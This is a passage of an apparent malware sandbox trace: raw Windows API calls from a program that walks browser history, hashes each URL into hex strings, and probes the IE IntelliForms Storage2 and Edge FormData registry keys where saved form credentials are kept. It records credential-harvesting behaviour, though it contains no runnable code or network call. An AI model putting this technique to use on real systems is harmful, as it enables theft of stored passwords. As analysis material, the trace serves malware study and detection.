lpString1="4994F3F806023B7698CF") returned="4994F3F806023B7698CF" [0053.498] LocalFree (hMem=0x75c598) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF") returned 20 [0053.498] lstrlenA (lpString="96") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75c598 [0053.498] lstrcpyA (in: lpString1=0x75c598, lpString2="4994F3F806023B7698CF" | out: lpString1="4994F3F806023B7698CF") returned="4994F3F806023B7698CF" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF", lpString2="96" | out: lpString1="4994F3F806023B7698CF96") returned="4994F3F806023B7698CF96" [0053.498] LocalFree (hMem=0x75c638) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B5") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96") returned 22 [0053.498] lstrlenA (lpString="B5") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0053.498] lstrcpyA (in: lpString1=0x7588c8, lpString2="4994F3F806023B7698CF96" | out: lpString1="4994F3F806023B7698CF96") returned="4994F3F806023B7698CF96" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96", lpString2="B5" | out: lpString1="4994F3F806023B7698CF96B5") returned="4994F3F806023B7698CF96B5" [0053.498] LocalFree (hMem=0x75c598) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5") returned 24 [0053.498] lstrlenA (lpString="EE") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.498] lstrcpyA (in: lpString1=0x758820, lpString2="4994F3F806023B7698CF96B5" | out: lpString1="4994F3F806023B7698CF96B5") returned="4994F3F806023B7698CF96B5" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5", lpString2="EE" | out: lpString1="4994F3F806023B7698CF96B5EE") returned="4994F3F806023B7698CF96B5EE" [0053.498] LocalFree (hMem=0x7588c8) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BC") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5EE") returned 26 [0053.498] lstrlenA (lpString="BC") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x7588c8 [0053.498] lstrcpyA (in: lpString1=0x7588c8, lpString2="4994F3F806023B7698CF96B5EE" | out: lpString1="4994F3F806023B7698CF96B5EE") returned="4994F3F806023B7698CF96B5EE" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EE", lpString2="BC" | out: lpString1="4994F3F806023B7698CF96B5EEBC") returned="4994F3F806023B7698CF96B5EEBC" [0053.498] LocalFree (hMem=0x758820) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="61") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC") returned 28 [0053.498] lstrlenA (lpString="61") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.498] lstrcpyA (in: lpString1=0x758820, lpString2="4994F3F806023B7698CF96B5EEBC" | out: lpString1="4994F3F806023B7698CF96B5EEBC") returned="4994F3F806023B7698CF96B5EEBC" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC", lpString2="61" | out: lpString1="4994F3F806023B7698CF96B5EEBC61") returned="4994F3F806023B7698CF96B5EEBC61" [0053.498] LocalFree (hMem=0x7588c8) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61") returned 30 [0053.498] lstrlenA (lpString="FD") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7548d0 [0053.498] lstrcpyA (in: lpString1=0x7548d0, lpString2="4994F3F806023B7698CF96B5EEBC61" | out: lpString1="4994F3F806023B7698CF96B5EEBC61") returned="4994F3F806023B7698CF96B5EEBC61" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61", lpString2="FD" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD") returned="4994F3F806023B7698CF96B5EEBC61FD" [0053.498] LocalFree (hMem=0x758820) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="57") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61FD") returned 32 [0053.498] lstrlenA (lpString="57") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.498] lstrcpyA (in: lpString1=0x754820, lpString2="4994F3F806023B7698CF96B5EEBC61FD" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD") returned="4994F3F806023B7698CF96B5EEBC61FD" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61FD", lpString2="57" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD57") returned="4994F3F806023B7698CF96B5EEBC61FD57" [0053.498] LocalFree (hMem=0x7548d0) returned 0x0 [0053.498] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="41") returned 2 [0053.498] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61FD57") returned 34 [0053.498] lstrlenA (lpString="41") returned 2 [0053.498] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0053.498] lstrcpyA (in: lpString1=0x7548d0, lpString2="4994F3F806023B7698CF96B5EEBC61FD57" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD57") returned="4994F3F806023B7698CF96B5EEBC61FD57" [0053.499] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61FD57", lpString2="41" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741") returned="4994F3F806023B7698CF96B5EEBC61FD5741" [0053.499] LocalFree (hMem=0x754820) returned 0x0 [0053.499] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B8") returned 2 [0053.499] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61FD5741") returned 36 [0053.499] lstrlenA (lpString="B8") returned 2 [0053.499] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.499] lstrcpyA (in: lpString1=0x754820, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741") returned="4994F3F806023B7698CF96B5EEBC61FD5741" [0053.499] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741", lpString2="B8" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8" [0053.499] LocalFree (hMem=0x7548d0) returned 0x0 [0053.499] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BA") returned 2 [0053.499] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61FD5741B8") returned 38 [0053.499] lstrlenA (lpString="BA") returned 2 [0053.499] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750820 [0053.499] lstrcpyA (in: lpString1=0x750820, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741B8" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8" [0053.499] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8", lpString2="BA" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8BA" [0053.499] LocalFree (hMem=0x754820) returned 0x0 [0053.499] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="45") returned 2 [0053.499] lstrlenA (lpString="4994F3F806023B7698CF96B5EEBC61FD5741B8BA") returned 40 [0053.499] lstrlenA (lpString="45") returned 2 [0053.499] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0053.499] lstrcpyA (in: lpString1=0x7508d8, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741B8BA" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8BA" [0053.499] lstrcatA (in: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA", lpString2="45" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45" [0053.499] LocalFree (hMem=0x750820) returned 0x0 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.499] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.499] LocalFree (hMem=0x7508d8) returned 0x0 [0053.499] CoTaskMemFree (pv=0x735b68) [0053.499] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.500] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/K4i155BHW8C.xlsx", lpSrch="?") returned 0x0 [0053.500] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/K4i155BHW8C.xlsx") returned 85 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.500] lstrlenA (lpString="") returned 0 [0053.500] lstrlenA (lpString="DD") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c598 [0053.500] lstrcpyA (in: lpString1=0x75c598, lpString2="" | out: lpString1="") returned="" [0053.500] lstrcatA (in: lpString1="", lpString2="DD" | out: lpString1="DD") returned="DD" [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.500] lstrlenA (lpString="DD") returned 2 [0053.500] lstrlenA (lpString="39") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c628 [0053.500] lstrcpyA (in: lpString1=0x75c628, lpString2="DD" | out: lpString1="DD") returned="DD" [0053.500] lstrcatA (in: lpString1="DD", lpString2="39" | out: lpString1="DD39") returned="DD39" [0053.500] LocalFree (hMem=0x75c598) returned 0x0 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.500] lstrlenA (lpString="DD39") returned 4 [0053.500] lstrlenA (lpString="D4") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c598 [0053.500] lstrcpyA (in: lpString1=0x75c598, lpString2="DD39" | out: lpString1="DD39") returned="DD39" [0053.500] lstrcatA (in: lpString1="DD39", lpString2="D4" | out: lpString1="DD39D4") returned="DD39D4" [0053.500] LocalFree (hMem=0x75c628) returned 0x0 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A8") returned 2 [0053.500] lstrlenA (lpString="DD39D4") returned 6 [0053.500] lstrlenA (lpString="A8") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c628 [0053.500] lstrcpyA (in: lpString1=0x75c628, lpString2="DD39D4" | out: lpString1="DD39D4") returned="DD39D4" [0053.500] lstrcatA (in: lpString1="DD39D4", lpString2="A8" | out: lpString1="DD39D4A8") returned="DD39D4A8" [0053.500] LocalFree (hMem=0x75c598) returned 0x0 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.500] lstrlenA (lpString="DD39D4A8") returned 8 [0053.500] lstrlenA (lpString="A6") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75c6c0 [0053.500] lstrcpyA (in: lpString1=0x75c6c0, lpString2="DD39D4A8" | out: lpString1="DD39D4A8") returned="DD39D4A8" [0053.500] lstrcatA (in: lpString1="DD39D4A8", lpString2="A6" | out: lpString1="DD39D4A8A6") returned="DD39D4A8A6" [0053.500] LocalFree (hMem=0x75c628) returned 0x0 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.500] lstrlenA (lpString="DD39D4A8A6") returned 10 [0053.500] lstrlenA (lpString="C3") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c598 [0053.500] lstrcpyA (in: lpString1=0x75c598, lpString2="DD39D4A8A6" | out: lpString1="DD39D4A8A6") returned="DD39D4A8A6" [0053.500] lstrcatA (in: lpString1="DD39D4A8A6", lpString2="C3" | out: lpString1="DD39D4A8A6C3") returned="DD39D4A8A6C3" [0053.500] LocalFree (hMem=0x75c6c0) returned 0x0 [0053.500] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="45") returned 2 [0053.500] lstrlenA (lpString="DD39D4A8A6C3") returned 12 [0053.500] lstrlenA (lpString="45") returned 2 [0053.500] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75c630 [0053.500] lstrcpyA (in: lpString1=0x75c630, lpString2="DD39D4A8A6C3" | out: lpString1="DD39D4A8A6C3") returned="DD39D4A8A6C3" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3", lpString2="45" | out: lpString1="DD39D4A8A6C345") returned="DD39D4A8A6C345" [0053.501] LocalFree (hMem=0x75c598) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7D") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C345") returned 14 [0053.501] lstrlenA (lpString="7D") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75c6c8 [0053.501] lstrcpyA (in: lpString1=0x75c6c8, lpString2="DD39D4A8A6C345" | out: lpString1="DD39D4A8A6C345") returned="DD39D4A8A6C345" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C345", lpString2="7D" | out: lpString1="DD39D4A8A6C3457D") returned="DD39D4A8A6C3457D" [0053.501] LocalFree (hMem=0x75c630) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="60") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D") returned 16 [0053.501] lstrlenA (lpString="60") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75c598 [0053.501] lstrcpyA (in: lpString1=0x75c598, lpString2="DD39D4A8A6C3457D" | out: lpString1="DD39D4A8A6C3457D") returned="DD39D4A8A6C3457D" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D", lpString2="60" | out: lpString1="DD39D4A8A6C3457D60") returned="DD39D4A8A6C3457D60" [0053.501] LocalFree (hMem=0x75c6c8) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8B") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D60") returned 18 [0053.501] lstrlenA (lpString="8B") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75c638 [0053.501] lstrcpyA (in: lpString1=0x75c638, lpString2="DD39D4A8A6C3457D60" | out: lpString1="DD39D4A8A6C3457D60") returned="DD39D4A8A6C3457D60" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D60", lpString2="8B" | out: lpString1="DD39D4A8A6C3457D608B") returned="DD39D4A8A6C3457D608B" [0053.501] LocalFree (hMem=0x75c598) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D7") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D608B") returned 20 [0053.501] lstrlenA (lpString="D7") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75c598 [0053.501] lstrcpyA (in: lpString1=0x75c598, lpString2="DD39D4A8A6C3457D608B" | out: lpString1="DD39D4A8A6C3457D608B") returned="DD39D4A8A6C3457D608B" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D608B", lpString2="D7" | out: lpString1="DD39D4A8A6C3457D608BD7") returned="DD39D4A8A6C3457D608BD7" [0053.501] LocalFree (hMem=0x75c638) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="18") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D608BD7") returned 22 [0053.501] lstrlenA (lpString="18") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.501] lstrcpyA (in: lpString1=0x758820, lpString2="DD39D4A8A6C3457D608BD7" | out: lpString1="DD39D4A8A6C3457D608BD7") returned="DD39D4A8A6C3457D608BD7" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7", lpString2="18" | out: lpString1="DD39D4A8A6C3457D608BD718") returned="DD39D4A8A6C3457D608BD718" [0053.501] LocalFree (hMem=0x75c598) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3C") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D608BD718") returned 24 [0053.501] lstrlenA (lpString="3C") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.501] lstrcpyA (in: lpString1=0x758a18, lpString2="DD39D4A8A6C3457D608BD718" | out: lpString1="DD39D4A8A6C3457D608BD718") returned="DD39D4A8A6C3457D608BD718" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD718", lpString2="3C" | out: lpString1="DD39D4A8A6C3457D608BD7183C") returned="DD39D4A8A6C3457D608BD7183C" [0053.501] LocalFree (hMem=0x758820) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="33") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C") returned 26 [0053.501] lstrlenA (lpString="33") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.501] lstrcpyA (in: lpString1=0x758820, lpString2="DD39D4A8A6C3457D608BD7183C" | out: lpString1="DD39D4A8A6C3457D608BD7183C") returned="DD39D4A8A6C3457D608BD7183C" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C", lpString2="33" | out: lpString1="DD39D4A8A6C3457D608BD7183C33") returned="DD39D4A8A6C3457D608BD7183C33" [0053.501] LocalFree (hMem=0x758a18) returned 0x0 [0053.501] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.501] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33") returned 28 [0053.501] lstrlenA (lpString="C1") returned 2 [0053.501] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.501] lstrcpyA (in: lpString1=0x758a18, lpString2="DD39D4A8A6C3457D608BD7183C33" | out: lpString1="DD39D4A8A6C3457D608BD7183C33") returned="DD39D4A8A6C3457D608BD7183C33" [0053.501] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33", lpString2="C1" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1") returned="DD39D4A8A6C3457D608BD7183C33C1" [0053.502] LocalFree (hMem=0x758820) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B8") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1") returned 30 [0053.502] lstrlenA (lpString="B8") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.502] lstrcpyA (in: lpString1=0x754820, lpString2="DD39D4A8A6C3457D608BD7183C33C1" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1") returned="DD39D4A8A6C3457D608BD7183C33C1" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1", lpString2="B8" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8") returned="DD39D4A8A6C3457D608BD7183C33C1B8" [0053.502] LocalFree (hMem=0x758a18) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AC") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1B8") returned 32 [0053.502] lstrlenA (lpString="AC") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x7548d0 [0053.502] lstrcpyA (in: lpString1=0x7548d0, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8") returned="DD39D4A8A6C3457D608BD7183C33C1B8" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8", lpString2="AC" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC" [0053.502] LocalFree (hMem=0x754820) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="06") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1B8AC") returned 34 [0053.502] lstrlenA (lpString="06") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.502] lstrcpyA (in: lpString1=0x754820, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC", lpString2="06" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC06") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC06" [0053.502] LocalFree (hMem=0x7548d0) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="32") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1B8AC06") returned 36 [0053.502] lstrlenA (lpString="32") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0053.502] lstrcpyA (in: lpString1=0x7548d0, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC06" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC06") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC06" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC06", lpString2="32" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632" [0053.502] LocalFree (hMem=0x754820) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EF") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1B8AC0632") returned 38 [0053.502] lstrlenA (lpString="EF") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750b00 [0053.502] lstrcpyA (in: lpString1=0x750b00, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC0632" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632", lpString2="EF" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF" [0053.502] LocalFree (hMem=0x7548d0) returned 0x0 [0053.502] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="52") returned 2 [0053.502] lstrlenA (lpString="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF") returned 40 [0053.502] lstrlenA (lpString="52") returned 2 [0053.502] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.502] lstrcpyA (in: lpString1=0x750bb8, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF" [0053.502] lstrcatA (in: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF", lpString2="52" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52" [0053.502] LocalFree (hMem=0x750b00) returned 0x0 [0053.502] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.502] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.502] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.502] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.503] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.503] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.503] LocalFree (hMem=0x750bb8) returned 0x0 [0053.503] CoTaskMemFree (pv=0x750a48) [0053.503] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.503] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/zRgQLmB.xlsx", lpSrch="?") returned 0x0 [0053.503] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/zRgQLmB.xlsx") returned 56 [0053.503] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C7") returned 2 [0053.503] lstrlenA (lpString="") returned 0 [0053.503] lstrlenA (lpString="C7") returned 2 [0053.503] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c598 [0053.503] lstrcpyA (in: lpString1=0x75c598, lpString2="" | out: lpString1="") returned="" [0053.503] lstrcatA (in: lpString1="", lpString2="C7" | out: lpString1="C7") returned="C7" [0053.503] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0D") returned 2 [0053.503] lstrlenA (lpString="C7") returned 2 [0053.503] lstrlenA (lpString="0D") returned 2 [0053.503] 